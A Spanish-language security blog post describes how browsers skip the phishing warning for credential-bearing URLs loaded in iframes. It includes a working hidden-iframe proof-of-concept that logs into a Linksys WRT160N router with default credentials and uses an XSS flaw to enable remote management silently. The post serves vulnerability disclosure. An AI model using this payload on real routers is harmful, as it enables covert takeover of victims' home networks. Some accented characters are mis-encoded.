Explotando "Ofuscación de URL en Frames" en Linksys WRT160N

El investigador Adiyya K Sood de Armorize Tecnologies publicó recientemente una vulnerabilidad criticada por muchos pues creáan que no era explotable practicamente (https://bugzilla.mozilla.org/show_bug.cgi?id=570658).

Anteriormente los phishers podáan engañar al usuario haciendo que abran URLs como http://www.sitio.com@sitiomaligno.com, y con eso hacáan creer que estaban visitando www.sitio.com cuando en realidad están visitan sitiomaligno.com. A partir de ese momento, los navegadores empezaron a incluir una ventana de advertencia, indicándole al usuario cual era el sitio real al que estaban accediendo.

La vulnerabilidad actual consiste en que esta ventana de advertencia no se muestra si el URL es cargado desde un IFRAME. Los desarrolladores de los navegadores dicen que es porque el URL no es visible al menos de que veas el código fuente. Asi que en ningún momento se lleva a cabo un ataque de Spoofing del URL… Pero hay otros ataques que son posibles.

Es posible utilizar este bug para atacar ruteadores.

Roberto Salgado, investigador de Websec, demostró la aplicación de esta vulnerabilidad con su ruteador Linksys WRT160N. Este ruteador posee una vulnerabilidad de XSS reportada en el 2008 por David Gil. El siguiente PoC se autentica en la interfaz del ruteador utilizando credenciales default y habilita la administración remota en el ruteador de la váctima con solo visitar una página web.

<iframe src='http://admin:admin@192.168.1.1/apply.cgi?submit_button=DHCP_Static
&action=--%3E%3Cscript%3Efunction%20ifr%28%29{ifrm=document.createElement%28%22
iframe%22%29%3Bifrm.setAttribute%28%22src%22,%22http:%2F%2F192.168.1.1%2F
Management.asp%22%29%3Bifrm.width=%220%22%3Bifrm.height=%220%22%3Bdocument.
body.appendChild%28ifrm%29%3BsetTimeout%28%22window.frames[0].document.
getElementsByName%28\%22remote_management\%22%29[1].value=1%3B%22,1000%29%3B
setTimeout%28%22window.frames[0].document.location=\%22javascript:to_submit%28
document.forms[0]%29\%22%3B%22,1000%29%3B}setTimeout%28%22ifr%28%29%22,500%29%3B
%3C%2Fscript%3E' style="display:none;"/>

Firefox y Chrome ejecutan el ataque de forma oculta sin advertir al usuario, mientras que Opera muestra una advertencia y bloquea el acceso a la intranet por default. Mozilla ha comentado que no reparara este bug ya que no creen que pueda utilizarse como vector de ataque.

A pesar de que el riesgo es considerado mánimo, provee un método para utilizar vulnerabilidades de XSS y CSRF en paginas que requieran autenticación. Considerando que muchos usuarios no cambian el password default de sus routers y los proveedores no se toman la molestia de reparar sus vulnerabilidades, pensamos que una nueva ventana de advertencia no le caeráa mal a nadie.